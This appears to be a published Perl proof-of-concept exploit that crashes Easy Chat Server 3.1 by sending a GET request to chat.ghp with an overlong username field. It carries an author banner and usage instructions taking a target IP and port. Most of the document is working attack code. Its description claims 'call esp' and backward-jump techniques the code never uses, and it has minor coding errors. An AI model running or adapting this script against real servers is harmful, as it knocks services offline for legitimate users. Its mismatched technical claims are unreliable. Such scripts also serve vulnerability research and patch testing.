#!/usr/bin/perl


use Net::FTP;

# Exploit Title: Easy Chat Server 3.1 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 05 january 2024
# Vendor Homepage:  N/A
# Download to demo: https://drive.google.com/file/d/1ZbfeaWSEKlpvCG1eUtD0vNnfkNz_8PlE/view
# Notification vendor: No reported
# Tested Version:Easy Chat Server 3.1
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
# Vídeo: https://drive.google.com/file/d/1rG6uTXTg3cTg86qmp9rh2ozQfyOV_Av7/view

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The server did not properly handle request with large amounts of data via method GET to web server.
#The following request sends a large amount of data to the web server to process across method GET, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

    $sis="$^O";

    if ($sis eq "windows"){
      $cmd="cls";
    } else {
      $cmd="clear";
    }

    system("$cmd");
    
    intro();
    main();
    
    print "[+] Exploiting... \n";

    my $payload = "\x90" x 16;
    $payload = "\x41"x568;

my $buffer = "GET /chat.ghp?username=" . $payload . "&password=&room=2 HTTP/1.1\r\n";
$buffer .= "User-Agent: Internet Explorer/4.0\r\n";
$buffer .= "Host: $ip:$port\r\n";
$buffer .= "Referer: http://$ip\r\n";
$buffer .= "Connection: Keep-Alive\r\n\r\n";

print("[+] Exploiting...\n");
my $socket = IO::Socket::INET->new(
    PeerAddr => $ip,
    PeerPort => $port,
    Proto    => 'tcp',
) or die "Could not connect! Error: $!\n";

$socket->send($buffer);
close($socket);


    print "[+] Done - Exploited success!!!!!\n\n";
  
   sub intro {
      print "#################################################################\n";
      print "#           Easy Chat Server 3.1 - Denied of Service            #\n";
      print "#                                                               #\n";
      print "#                Coded by Fernando Mengali                      #\n";
      print "#                                                               #\n";
      print "#              e-mail: fernando.mengalli\@gmail.com             #\n";
      print "#                                                               #\n";
      print "#################################################################\n";
  }

  sub main {

our ($ip, $port) = @ARGV;

      unless (defined($ip) && defined($port)) {

        print "       \nUsage: $0 <ip> <port>                 \n";
        exit(-1);

      }
  }

#3. Solution/ How to fix:

# This version product is deprecated